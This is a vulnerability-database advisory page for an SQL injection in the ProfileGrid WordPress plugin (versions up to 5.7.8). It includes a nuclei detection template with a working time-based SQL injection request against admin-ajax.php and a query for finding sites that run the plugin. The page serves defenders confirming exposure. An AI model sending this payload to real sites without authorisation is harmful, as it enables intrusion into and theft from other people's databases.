Browse / CVEs / CVE-2024-30490
CVE-2024-30490
ProfileGrid <= 5.7.8 - SQL Injection
criticalseverity
2.2%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it
The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.7.8 due to insufficient escaping on the user supplied 'search' parameter and lack of sufficient preparation on the existing SQL query.
Impact
Attackers can execute arbitrary SQL queries, potentially leading to data theft, data tampering, or database compromise.
Fix
Update to ProfileGrid version 5.7.9 or later.
How to confirm it
Send: @timeout: 20s
Positive when: duration>=7 and contains_all(body, "No group matches found.", "pm-") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-30490 -u <target>
The full check
id: CVE-2024-30490
info:
name: ProfileGrid <= 5.7.8 - SQL Injection
author: Shivam Kamboj
severity: critical
description: |
The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.7.8 due to insufficient escaping on the user supplied 'search' parameter and lack of sufficient preparation on the existing SQL query.
impact: |
Attackers can execute arbitrary SQL queries, potentially leading to data theft, data tampering, or database compromise.
remediation: Update to ProfileGrid version 5.7.9 or later.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/profilegrid-user-profiles-groups-and-communities/profilegrid-578-unauthenticated-sql-injection
- https://wordpress.org/plugins/profilegrid-user-profiles-groups-and-communities/
- https://nvd.nist.gov/vuln/detail/CVE-2024-30490
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/profilegrid-user-profiles-groups-and-communities/"
tags: cve,cve2024,wordpress,wp,wp-plugin,profilegrid,sqli
http:
- raw:
- |
@timeout: 20s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=pm_get_all_groups&search=test'+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))a)--+-&sortby=newest&pagenum=1&view=grid
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'contains_all(body, "No group matches found.", "pm-")'
- 'status_code == 200'
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/profilegrid-user-profiles-groups-and-communities/profilegrid-578-unauthenticated-sql-injection
- https://wordpress.org/plugins/profilegrid-user-profiles-groups-and-communities/
- https://nvd.nist.gov/vuln/detail/CVE-2024-30490
Use this check only on systems you are authorised to test. Where the data comes from